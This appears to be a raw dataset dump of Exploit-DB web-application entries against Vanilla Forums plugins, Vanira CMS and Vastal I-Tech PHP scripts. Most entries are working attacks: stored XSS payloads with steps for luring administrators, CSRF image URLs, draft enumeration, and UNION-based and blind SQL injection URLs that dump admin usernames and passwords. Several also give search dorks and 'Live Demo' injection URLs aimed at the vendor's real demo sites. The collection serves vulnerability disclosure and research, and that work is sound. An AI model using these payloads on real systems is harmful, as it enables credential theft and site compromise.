deardaniel/secdata-raw huggingface dataset:
Exploit-DB #18980
Description: Vanilla Forums 2.0.18.4 - Tagging Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-06-03
Author: Henry Hoggard

Exploit:
# Title: Vanilla Tagging Stored XSS
# Date: 1/6/12
# Author: Henry Hoggard
# Author URL: henryhoggard.co.uk
# Author Twitter: @henryhoggard
# Software: Vanilla Version 2.0.18.4
# http://vanillaforums.org/download

Create a new thread and post your XSS as tag. I used
<script>alert('xss')</script>

You will have to use a proxy / manipulate the form to bypass the max-length on the form.

Once you have posted the thread, send an administrator or moderator to

http://server/index.php?p=/vanilla/post/editdiscussion/7

Where 7 is the thread ID of the thread you just made. The XSS will then trigger.
You can even use a URL shortener to send the link.

Note: The URL may be different depending on what category your thread is in.

#############################################################
Exploit-DB #25720
Description: Vanilla Forums 2.0.18.8 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2013-05-26
Author: Henry Hoggard

Exploit:
# Exploit Title: Vanilla Forums Insecure Permissions Vulnerability
# Date: 15/5/13
# Exploit Author: Henry Hoggard
# Author Website: http://henryhoggard.co.uk
# Vendor Homepage: http://vanillaforums.org    
# Software Link: http://vanillaforums.org
# Version: 2.0.18.8
# Tested on: Debian
# CVE : none yet

When you make a draft you can view it at a URL like:
/index.php?p=/post/editdiscussion/0/5

However other accounts can view these drafts by just iterating the
number on the end of the url, such as
/index.php?p=/post/editdiscussion/0/1
/index.php?p=/post/editdiscussion/0/2
etc

# Exploit Title: Vanilla Forums 2.0.18.8 & 2.1 XSS
# Date: May 12 2013
# Exploit Author: Henry Hoggard
# Author URL: http://henryhoggard.co.uk
# Vendor Homepage: http://vanillaforums.org
# Software Link: http://vanillaforums.org
# Version: Vanilla 2.0.18.8
# Tested on: Debian

This occurs in the flagging function.

Tutorial
Flag a post with any flag reason.

Flag the exact same post again, this time with your XSS script
<script>alert(1)</script>

The XSS will trigger on the admin dashboard.
Exploit-DB #48042
Description: Vanilla Forums 2.6.3 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2020-02-11
Author: Sayak Naskar

Exploit:
# Exploit Title: Vanilla Forums 2.6.3 - Persistent Cross-Site Scripting
# Google Dork: N/A
# Date: 2020-02-10
# Exploit Author: Sayak Naskar
# Vendor Homepage: https://vanillaforums.com/en/
# Version: 2.6.3
# Tested on: Windows, Linux
# CVE : CVE-2020-8825

A Stored xss was found in Vanillaforum 2.6.3 .

index.php?p=/dashboard/settings/branding

# Proof of Concept:

An attacker will insert a payload on branding section. So, whenever an user will open the branding section then attacker automatically get all sensitive information of the user.
Exploit-DB #18911
Description: Vanilla Forums About Me Plugin - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-05-21
Author: Henry Hoggard

Exploit:
# Title: Vanilla About Me Plugin Persistant XSS Vulnerability
# Date: 18/5/12
# Author: Henry Hoggard
# Author URL: henryhoggard.co.uk
# Author Twitter: @henryhoggard
# Software: Vanilla Version 2.0.18.4 + About Me 1.1.1
# http://vanillaforums.org/addon/aboutme-plugin
# http://http://vanillaforums.org
#############################################################

Go to http://target.tld/index.php?p=/profile/editme/4/testmember

Post your XSS In any of the text fields, for this we used the Real Name Field and the following XSS

XSS:
<script>alert('x')</script>

Then if a user visits your about me page (http://target.tld/index.php?p=/profile/aboutme/4/testmember) the script will execute

#############################################################

http://henryhoggard.co.uk
Exploit-DB #18908
Description: Vanilla Forums LatestComment 1.1 Plugin - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-05-18
Author: Henry Hoggard

Exploit:
# Title: Vanilla LatestComment 1.1 Plugin Persistant XSS Vulnerability
# Date: 18/5/12
# Author: Henry Hoggard
# Author URL: henryhoggard.co.uk
# Author Twitter: @henryhoggard
# Software: Vanilla Version 2.0.18.4 + Latest Comment 1.1

#http://vanillaforums.org/addon/latestcomment-plugin

# http://vanillaforums.org
#############################################################

Create a new thread with your XSS as the thread title, the XSS will appear on the index page of the forum.

XSS:
<script>alert('x')</script>

#############################################################

http://henryhoggard.co.uk
Exploit-DB #18979
Description: vanilla forums poll plugin 0.9 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-06-03
Author: Henry Hoggard

Exploit:
# Title: Vanilla Poll 0.9 Stored XSS
# Date: 1/6/12
# Author: Henry Hoggard
# Author URL: henryhoggard.co.uk
# Author Twitter: @henryhoggard
# Software: Vanilla Version 2.0.18.4 + Vanilla Poll 0.9
# http://vanillaforums.org/download
# http://vanillaforums.org/addon/poll-plugin

# Exploit-DB Note:
# User must have proper privileges to attach
# a poll to a discussion

To create the XSS firstly create a new thread.
Once the thread is made press attach the poll and either enter the XSS in the title or the answers of the poll.

The XSS I used is
<script>alert('xss')</script>

#############################################################
Exploit-DB #24957
Description: Vanilla Forums Van2Shout Plugin 1.0.51 - Multiple Cross-Site Request Forgery Vulnerabilities
Type: webapps
Platform: php
Date: 2013-04-15
Author: Henry Hoggard

Exploit:
# Exploit Title:
Vanilla Forums <= 2.0.18.8 & Van2Shout 1.0.51 Multiple CSRF

# Google Dork: n/a
# Date: 13/4/13
# Exploit Author: Henry Hoggard
# Vendor Homepage: [http://vanillaforums.org/ ,
http://vanillaforums.org/addon/van2shout-plugin]
# Software Link: [http://vanillaforums.org/download,
http://vanillaforums.org/get/van2shout-plugin-1.051]
# Version: [2.0.18.8 , 1.0.51]
# Tested on: [Debian]
# CVE :

=======================

You can exploit these by having the user visit a thread with the img src
of the below urls.

eg <img
src="http://site.org/index.php=/vanilla/discussion/bookmark/1337?> where
1337 is the id.

 

Bookmark CSRF:

http://site.org/index.php=/vanilla/discussion/bookmark/1337

UnBookmark CSRF

http://site.org/index.php=/vanilla/discussion/bookmark/1337?

Delete Message CSRF

http://site.org/index.php=/messages/clear/1337

Post to Van2Shout Chat Box CSRF

http://site.org/index.php?p=/plugin/Van2ShoutData&newpost=testmessage

Delete Message from Van2Shout Chatbox CSRF

http://site.org/index.php?p=/plugin/Van2ShoutData&del=1337
Exploit-DB #19003
Description: vanilla kpoll plugin 1.2 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-06-06
Author: Henry Hoggard

Exploit:
# Title: Vanilla kPoll 1.2 Stored XSS
# Date: 5/6/12
# Author: Henry Hoggard
# Author URL: henryhoggard.co.uk
# Author Twitter: @henryhoggard
# Software: Vanilla Version 2.0.18.4 + Vanilla kPoll 1.2
# http://vanillaforums.org/download
# http://vanillaforums.org/addon/kpoll-plugin

To Create the XSS go to this link,

http://vanilla.tld/index.php?p=/plugin/kPoll

Post your XSS as the poll title.

The XSS I used is
<script>alert('xss')</script>

#############################################################
Exploit-DB #36173
Description: Vanira CMS - 'vtpidshow' SQL Injection
Type: webapps
Platform: php
Date: 2011-09-27
Author: kurdish hackers team

Exploit:
source: https://www.securityfocus.com/bid/49789/info

Vanira CMS is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit will allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. 

http://www.example.com/voteshow.php?vact=ok&vtpidshow=1 [SQL insertion attacks]
Exploit-DB #36584
Description: Vastal EzineShop - 'view_mags.php' SQL Injection
Type: webapps
Platform: php
Date: 2012-01-19
Author: Lazmania61

Exploit:
source: https://www.securityfocus.com/bid/51571/info

Vastal EzineShops is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/mag/view_mags.php?cat_id=4â??a
Exploit-DB #12845
Description: Vastal I-Tech - SQL Injection
Type: webapps
Platform: php
Date: 2010-06-02
Author: HELLBOY

Exploit:
#######################################################
#                                     IN THE NAME OF GOD
#
# Vastal I-Tech SQL Injection Vulnerability
#
# Author   : HELLBOY
#
# Tested on Lunix
#
# CVE        : N/A
#
# Email    : A68.HELLBOY@GMAIL.COM
#
# Dork     : inurl:"view_group.php?group_id="
########################################################
# Exploit :
# http://[site]/view_group.php?group_id={SQLI}
#
# EXAM: -1+union+select+group_concat(admin_user,0x3a,admin_password)+from+admin_users--
#
# Admin login :
# http://www.[sitename].com/admin/
#########################################################
# Greetz :
#                      All members of the Forum  WwW.ASHIYANE.ORG & WwW.pars-p30.iR
#
#########################################################
Exploit-DB #6371
Description: Vastal I-Tech Agent Zone - 'ann_id' SQL Injection
Type: webapps
Platform: php
Date: 2008-09-05
Author: DeViL iRaQ

Exploit:
#######################################################
# The Real Estate Script ( view_ann.php ) SQL Injection Vulnerability
#
# Author   : DeViL iRaQ
#
# Email     : guitar_lover46[at]yahoo[dot]com
#
# Price     : $399.99 (:
#
# Script Home Page : http://www.vastal.com/agent-zone-real-estate-script.html
#
# Demo      : http://www.vastal.com/real/
#
# Dork      : N/A
########################################################
# Exploit :
# www.[sitename].com/view_ann.php?ann_id=-6+union+select+1,concat(admin_user,0x3a,admin_password),3,4,5+from+admin_users
#
# Live Demo:
# http://www.vastal.com/real/view_ann.php?ann_id=-6+union+select+1,concat(admin_user,0x3a,admin_password),3,4,5+from+admin_users
#
# Admin login :
# http://www.[sitename].com/admin/
#########################################################
# Greetz :
#                      All members of the Forum  WwW.Hussin-X.CoM
#  Hussin X , JeFaRa , GenX ThE Hacker Iraqi , Iraqi Diver , Ameer Elshouq , IRAQ_JaGUaR
#########################################################

# milw0rm.com [2008-09-05]
Exploit-DB #18441
Description: Vastal I-Tech Agent Zone - 'search.php' Blind SQL Injection
Type: webapps
Platform: php
Date: 2012-01-31
Author: Cagri Tepebasili

Exploit:
Agent Zone Vastal I-Tech Blind SQL Injection Vulnerability


# Date: 31.01.2012

# Author: Cagri Tepebasili

# Software : http://www.vastal.com/agent-zone-real-estate-script.html

# Tested on: Linux Mint 12

#####################################################################################################################

The First Step >>>
http://server/real/search.php?price_from=1000000.00+and+1=1&price_to=10000000.00

The Second Step >>>
http://server/real/search.php?price_from=1000000.00+and+1=0&price_to=10000000.00

Injection >>>
http://server/real/search.php?price_from=1000000.00[BlindSQLI]&price_to=10000000.00

Greetz : MythSEC <<<
Exploit-DB #43068
Description: Vastal I-Tech Agent Zone - 'searchCommercial.php' / 'searchResidential.php' SQL Injection
Type: webapps
Platform: php
Date: 2017-10-30
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Vastal I-Tech Agent Zone - SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://vastal.com/
# Software http://vastal.com/agent-zone-real-estate-script.html
# Demo: http://agentzone.vastal.com/demo/
# Version: N/A
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15991
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/searchCommercial.php?property_type=[SQL]&city=[SQL]&posted_by=[SQL]
# 
# http://localhost/[PATH]/searchResidential.php?property_type=[SQL]&city=[SQL]&bedroom=[SQL]
# 
# Parameter: city (GET)
#     Type: boolean-based blind
#     Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
#     Payload: property_type=&city=-5275 OR 1703=1703#&posted_by=
# 
#     Type: error-based
#     Title: MySQL OR error-based - WHERE or HAVING clause (FLOOR)
#     Payload: property_type=&city=-1769 OR 1 GROUP BY CONCAT(0x[PII_REDACTED],(SELECT (CASE WHEN (2860=2860) THEN 1 ELSE 0 END)),0x71766a7071,FLOOR(RAND(0)*2)) HAVING MIN(0)#&posted_by=
# 
#     Type: AND/OR time-based blind
#     Title: MySQL >= 5.0.12 time-based blind - Parameter replace
#     Payload: property_type=&city=(CASE WHEN (9487=9487) THEN SLEEP(5) ELSE 9487 END)&posted_by=
# 
# Parameter: posted_by (GET)
#     Type: boolean-based blind
#     Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
#     Payload: property_type=&city=&posted_by=-5550 OR 1335=1335#
# 
#     Type: error-based
#     Title: MySQL OR error-based - WHERE or HAVING clause (FLOOR)
#     Payload: property_type=&city=&posted_by=-9423 OR 1 GROUP BY CONCAT(0x[PII_REDACTED],(SELECT (CASE WHEN (4134=4134) THEN 1 ELSE 0 END)),0x71766a7071,FLOOR(RAND(0)*2)) HAVING MIN(0)#
# 
#     Type: AND/OR time-based blind
#     Title: MySQL >= 5.0.12 time-based blind - Parameter replace
#     Payload: property_type=&city=&posted_by=(CASE WHEN (3754=3754) THEN SLEEP(5) ELSE 3754 END)
# 
# Parameter: property_type (GET)
#     Type: boolean-based blind
#     Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
#     Payload: property_type=-8633 OR 6527=6527#&city=&posted_by=
# 
#     Type: error-based
#     Title: MySQL OR error-based - WHERE or HAVING clause (FLOOR)
#     Payload: property_type=-4342 OR 1 GROUP BY CONCAT(0x[PII_REDACTED],(SELECT (CASE WHEN (3911=3911) THEN 1 ELSE 0 END)),0x71766a7071,FLOOR(RAND(0)*2)) HAVING MIN(0)#&city=&posted_by=
# 
#     Type: AND/OR time-based blind
#     Title: MySQL >= 5.0.12 time-based blind - Parameter replace
#     Payload: property_type=(CASE WHEN (2911=2911) THEN SLEEP(5) ELSE 2911 END)&city=&posted_by=
# 	
# Etc..
# # # # #
Exploit-DB #33242
Description: Vastal I-Tech Agent Zone - 'view_listing.php' SQL Injection
Type: webapps
Platform: php
Date: 2009-09-23
Author: OoN_Boy

Exploit:
source: https://www.securityfocus.com/bid/36503/info

Agent Zone is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/real/view_listing.php?id=4+and+substring(@@version,1,1)=5 True
http://www.example.com/real/view_listing.php?id=4+and+substring(@@version,1,1)=4 False
Exploit-DB #6382
Description: Vastal I-Tech Cosmetics Zone - 'cat_id' SQL Injection
Type: webapps
Platform: php
Date: 2008-09-05
Author: Stack

Exploit:
#######################################################
#  Vastal I-Tech Cosmetics Zone  SQL Injection Vulnerability
#
# Author   : Stack
#
#
# Script Home Page : http://www.vastal.com/cosmetics-zone-a-shopping-cart-for-your-cosmetics-shop-online.html
#
# Demo      : http://www.vastal.com/cosmetics_zone/
#######################################################

Exploit:
http://site.il/view_products_cat.php?cat_id=-1/**/UNION/**/SELECT/**/1,concat_ws(0x3a,admin_user,admin_password),3,4,5,6,7/**/from/**/admin_users/*
Live Demo
http://www.vastal.com/cosmetics_zone/view_products_cat.php?cat_id=-1/**/UNION/**/SELECT/**/1,concat_ws(0x3a,admin_user,admin_password),3,4,5,6,7/**/from/**/admin_users/*
##############################################################################################################

# milw0rm.com [2008-09-05]
Exploit-DB #33239
Description: Vastal I-Tech Cosmetics Zone - 'view_products.php' SQL Injection
Type: webapps
Platform: php
Date: 2009-09-22
Author: OoN_Boy

Exploit:
source: https://www.securityfocus.com/bid/36485/info

Cosmetics Zone is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

The following URIs are available:

http://www.example.com/cosmetics_zone/view_products.php?cat_id=5&sub_id=4+and+1=1-- True

http://www.example.com/cosmetics_zone/view_products.php?cat_id=5&sub_id=4+and+1=2-- False
Exploit-DB #6388
Description: Vastal I-Tech Dating Zone - 'fage' SQL Injection
Type: webapps
Platform: php
Date: 2008-09-06
Author: ZoRLu

Exploit:
########## ZoRLu - - - yildirimordulari.org - - - z0rlu.blogspot.com ##############################

Vastal I-Tech Dating Zone (fage) SQL Injection Vulnerability

 author: ZoRLu 

   home: yildirimordulari.org - - - z0rlu.blogspot.com - - - r00tsecurity.org

contact: trt-turk@hotmail.com & ZoRLu@w.cn ( baska msn yok taklitlerden kacInIn )

    Not: msn i ekleyipte densiz densiz konusanIn sulalesini cumle alem .... : ( (
   
    Not: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA   : ( (

   dork: "advanced_search_results.php?gender="

########## ZoRLu - - - yildirimordulari.org - - - z0rlu.blogspot.com ##############################

http://localhost/datingzone_path/advanced_search_results.php?gender=Female&fage=18+union+select+0,1,2,3,concat(username,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77+from+users--&tage=20&country%5B%5D=India&community=&photograph=Yes&x=58&y=15

demo:

http://datingzone.vastal.com/advanced_search_results.php?gender=Female&fage=18+union+select+0,1,2,3,concat(username,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77+from+users--&tage=20&country%5B%5D=India&community=&photograph=Yes&x=58&y=15


########## ZoRLu - - - yildirimordulari.org - - - z0rlu.blogspot.com ##############################

thanx: str0ke, FaLCaTa, ProgenTR, Ryu, Phantom Orchid, edish, SON-KRAL & all Muslims HaCkeRs

Efsane: YILDIRIMORDULARI.ORG

Yemisim Alaskasini : ) ) insan1n kendi memleketi gibisi yokk : ) )

########## ZoRLu - - - yildirimordulari.org - - - z0rlu.blogspot.com ##############################

# milw0rm.com [2008-09-06]
Exploit-DB #43084
Description: Vastal I-Tech Dating Zone 0.9.9 - 'product_id' SQL Injection
Type: webapps
Platform: php
Date: 2017-10-30
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Vastal I-Tech Dating Zone 0.9.9 - 'product_id' Parameter SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://vastal.com/
# Software http://vastal.com/dating-zone-the-dating-software.html
# Demo: http://datingzone.vastal.com/demo/
# Version: 0.9.9
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15975
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/add_to_cart.php?product_id=[SQL]
# 
# Parameter: product_id (GET)
#     Type: error-based
#     Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
#     Payload: product_id=3 AND (SELECT 5917 FROM(SELECT COUNT(*),CONCAT(0x7176626a71,(SELECT (ELT(5917=5917,1))),0x71716b7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
# 
#     Type: AND/OR time-based blind
#     Title: MySQL >= 5.0.12 AND time-based blind
#     Payload: product_id=3 AND SLEEP(5)
# 	
# Etc..
# # # # #
Exploit-DB #6376
Description: Vastal I-Tech DVD Zone - 'cat_id' SQL Injection
Type: webapps
Platform: php
Date: 2008-09-05
Author: DeViL iRaQ

Exploit:
#######################################################
# Vastal I-Tech DVD Zone ( cat_id ) SQL Injection Vulnerability
#
# Author   : DeViL iRaQ
#
# Email     : guitar_lover46[at]yahoo[dot]com
#
# Price     : $399.99 (:
#
# Script Home Page : hhttp://www.vastal.com/dvd-zone-dvd-rental-script.html
#
# Demo      : http://dvdzone.vastal.com/
#
# Dork      : N/A
########################################################
# Exploit :
# www.[sitename].com/view_mags.php?cat_id=-21+union+select+concat(user_name,0x3a,password)+from+members
#
# Live Demo:
# http://dvdzone.vastal.com/view_mags.php?cat_id=-21+union+select+concat(user_name,0x3a,password)+from+members
#
# Admin login :
# http://www.[sitename].com/admin/
#########################################################
# Greetz :
#                      All members of the Forum  WwW.Hussin-X.CoM
#  Hussin X , JeFaRa , GenX ThE Hacker Iraqi , Iraqi Diver , Ameer Elshouq , IRAQ_JaGUaR
#########################################################

# milw0rm.com [2008-09-05]
Exploit-DB #33241
Description: Vastal I-Tech DVD Zone - 'view_mag.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-09-22
Author: OoN_Boy

Exploit:
source: https://www.securityfocus.com/bid/36487/info
 
DVD Zone is prone to an SQL-injection vulnerability and a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
http://www.example.com/view_mag.php?mag_id=<script>alert(123)</script>
Exploit-DB #33240
Description: Vastal I-Tech DVD Zone - 'view_mag.php' SQL Injection
Type: webapps
Platform: php
Date: 2009-09-22
Author: OoN_Boy

Exploit:
source: https://www.securityfocus.com/bid/36487/info

DVD Zone is prone to an SQL-injection vulnerability and a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/view_mag.php?mag_id=9+and+substring(@@version,1,1)=5 True
http://www.example.com/view_mag.php?mag_id=9+and+substring(@@version,1,1)=4 False
Exploit-DB #6381
Description: Vastal I-Tech Freelance Zone - 'coder_id' SQL Injection
Type: webapps
Platform: php
Date: 2008-09-05
Author: Stack

Exploit:
#######################################################
#  Vastal I-Tech Freelance Zone SQL Injection Vulnerability
#
# Author   : Stack
#
#
# Script Home Page : http://www.vastal.com/freelance-zone-freelance-auction-script.html
#
# Demo      : http://www.vastal.com/freelance/
#######################################################
the exploit fate the password
use ur mind for have the column username
Exploit:
http://site.il/view_cresume.php?coder_id=-1/**/UNION/**/SELECT/**/1,2,password,user(),5/**/from/**/members/*
Live Demo
http://www.vastal.com/freelance/view_cresume.php?coder_id=-1/**/UNION/**/SELECT/**/1,2,password,user(),5/**/from/**/members/*

# milw0rm.com [2008-09-05]